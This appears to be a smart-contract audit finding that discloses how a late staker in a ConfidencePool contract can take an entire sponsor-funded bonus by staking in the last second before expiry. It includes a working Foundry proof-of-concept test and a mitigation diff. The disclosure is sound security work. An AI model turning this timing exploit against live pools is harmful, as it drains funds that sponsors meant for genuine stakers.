FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Final-block active-risk staking can capture sponsor bonus

Author Revealed upon completion

Description

The pool accepts stakes during UNDER_ATTACK until expiry and resolves non-terminal states to EXPIRED at that deadline, returning principal plus bonus. The quadratic bonus formula distributes the entire available bonus by normalizing each staker's score against the global score. When an attacker stakes alone in the final pre-expiry block, any positive score equals the global score and receives 100% of the sponsor-funded bonus. The contract permits this timing because _assertDepositsAllowed() intentionally allows UNDER_ATTACK deposits, and claimExpired() treats an agreement still in UNDER_ATTACK at expiry as EXPIRED, immediately paying principal plus bonus.

function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION
|| state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
@> // UNDER_ATTACK is not blocked
}

Risk

Likelihood:

  • The pool must contain a sponsor-funded bonus and be in UNDER_ATTACK immediately before expiry.

  • The attacker does not control registry state but can time the final pre-expiry block using standard contract functions.

  • The simplest path requires no other eligible stakers; with existing stakers, profitability depends on their scores and the attacker's available capital to dominate the denominator.

Impact:

  • A late staker drains the entire sponsor-funded bonus after one-block exposure when no other eligible stakers exist.

  • Existing stakers may be diluted when the denominator is small and the attacker stakes enough principal to overwhelm their aggregate score.

  • The attacker recovers all principal immediately after expiry, leaving the bonus as profit apart from transaction costs.

Proof of Concept

test/poc/FinalBlockActiveRiskBonusCapturePoC.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {PoCTemplateBase} from "test/poc/PoCTemplate.t.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
/// @notice PoC for: final-block UNDER_ATTACK staking can capture unearned sponsor bonus.
/// @dev Uses the project's real ConfidencePool implementation and the standard mock BattleChain
/// harness so the registry can be staged in UNDER_ATTACK at the pool deadline.
contract FinalBlockActiveRiskBonusCapturePoC is PoCTemplateBase {
uint256 internal constant SPONSOR_BONUS = 100 * ONE;
uint256 internal constant ATTACKER_STAKE = ONE; // the configured minStake
function _contributeBonusTo(ConfidencePool target, address contributor, uint256 amount) internal {
token.mint(contributor, amount);
vm.startPrank(contributor);
token.approve(address(target), amount);
target.contributeBonus(amount);
vm.stopPrank();
}
function _stakeTo(ConfidencePool target, address staker, uint256 amount) internal {
token.mint(staker, amount);
vm.startPrank(staker);
token.approve(address(target), amount);
target.stake(amount);
vm.stopPrank();
}
function testControl_emptyExpiredPoolBonusIsRecoverySweepable() public {
// Control path: a sponsor-funded but empty pool has no staker bonus entitlement.
ConfidencePool controlPool = _deployPool();
_contributeBonusTo(controlPool, dave, SPONSOR_BONUS);
_setState(UNDER_ATTACK);
vm.warp(controlPool.expiry());
controlPool.claimExpired(); // non-staker keeper mechanically resolves EXPIRED
assertEq(uint256(controlPool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertEq(controlPool.totalEligibleStake(), 0, "control has no stakers");
uint256 recoveryBefore = token.balanceOf(recovery);
controlPool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, SPONSOR_BONUS, "bonus normally returns to recovery");
}
function testPoC_finalSecondUnderAttackStakeCapturesEntireBonus() public {
// Sponsor/contributor funds a bonus pot while the pool is still open and unstaked.
_contributeBonusTo(pool, dave, SPONSOR_BONUS);
assertEq(pool.totalEligibleStake(), 0, "no legitimate stakers before attack");
assertEq(pool.totalBonus(), SPONSOR_BONUS, "sponsor bonus funded");
// Normal active-risk state: staking is still allowed in UNDER_ATTACK.
_setState(UNDER_ATTACK);
// The attacker waits until the final second before expiry, then stakes only minStake.
vm.warp(uint256(pool.expiry()) - 1);
uint256 attackerCapital = ATTACKER_STAKE;
_stakeTo(pool, attacker, attackerCapital);
assertEq(pool.riskWindowStart(), pool.expiry() - 1, "stake itself seals a 1-second risk window");
assertEq(token.balanceOf(attacker), 0, "attacker's own capital is locked in the pool");
// One second later the pool mechanically expires while the registry is still UNDER_ATTACK.
vm.warp(pool.expiry());
vm.prank(attacker);
pool.claimExpired();
uint256 attackerFinalBalance = token.balanceOf(attacker);
uint256 attackerProfitFromBonus = attackerFinalBalance - attackerCapital;
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertEq(attackerFinalBalance, attackerCapital + SPONSOR_BONUS, "attacker receives principal plus full bonus");
assertEq(attackerProfitFromBonus, SPONSOR_BONUS, "1-second exposure captures all sponsor bonus");
assertEq(token.balanceOf(address(pool)), 0, "pool drained by the late staker claim");
}
}

Command:

forge test --match-path 'test/poc/FinalBlockActiveRiskBonusCapturePoC.t.sol' -vvv

Impact:

The PoC passes and demonstrates that a final-second UNDER_ATTACK staker can stake only the minimum amount, wait until expiry, call claimExpired(), and receive their principal plus the entire sponsor-funded bonus. The control test shows that without the late staker, the same bonus would be sweepable to recovery.

Recommended Mitigation

Close bonus eligibility for deposits made after riskWindowStart is set. The simplest fix is to reject UNDER_ATTACK in _assertDepositsAllowed():

function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
+ state == IAttackRegistry.ContractState.UNDER_ATTACK
+ || state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
- state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION
|| state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}

Alternatively, continue accepting principal deposits during UNDER_ATTACK but exclude post-risk deposits from bonus accounting, or require a minimum maturation period before bonus eligibility.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!